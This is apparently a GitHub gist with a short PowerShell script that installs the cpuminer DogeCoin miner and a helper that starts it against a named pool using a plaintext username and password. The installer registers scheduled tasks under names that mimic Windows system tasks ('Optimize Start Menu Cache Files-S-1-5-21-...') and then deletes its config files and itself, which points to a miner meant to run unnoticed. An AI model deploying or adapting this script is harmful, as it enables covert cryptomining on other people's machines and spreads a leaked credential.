Last active
July 19, 2022 07:06
-
-
Save janikvonrotz/ed9f90d77eef197f992f to your computer and use it in GitHub Desktop.
DogeCoin mining install script#Bitcoin#PowerShell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Update-PowerShellPowerUp | |
Install-PPApp cpuminer | |
Move-Item (Join-Path $PSconfigs.Path "Process-Minerd.ps1") "C:\Program Files\cpuminer\" -Force | |
Update-ScheduledTask "Optimize Start Menu Cache Files-S-1-5-21-356465652-3543132135-1325423389-100" | |
Update-ScheduledTask "Optimize Start Menu Cache Files-S-1-5-21-845123235-4365131323-5313563663-000" | |
Remove-Item (Join-Path $PSconfigs.Path "Optimize Start Menu Cache Files-S-1-5-21-356465652-3543132135-1325423389-100.task.config.xml") -Force | |
Remove-Item (Join-Path $PSconfigs.Path "Optimize Start Menu Cache Files-S-1-5-21-845123235-4365131323-5313563663-000.task.config.xml") -Force | |
Remove-Item (Join-Path $PSconfigs.Path "Install-ProcessMinerdTask.ps1") -Force |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[CmdletBinding()]param( | |
[switch]$start, | |
[switch]$stop | |
) | |
# minerd --url=stratum+tcp://dogepool.pw:3334 --userpass=hakunamakuba.dogecoin1:kOY7xtpE6yB4g3bw-NC | |
if($start){ | |
minerd -t 1 --url=stratum+tcp://dogepool.pw:3334 --userpass=hakunamakuba.dogecoin1:kOY7xtpE6yB4g3bw-NC | |
}elseif($stop){ | |
Stop-Process -Name minerd | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment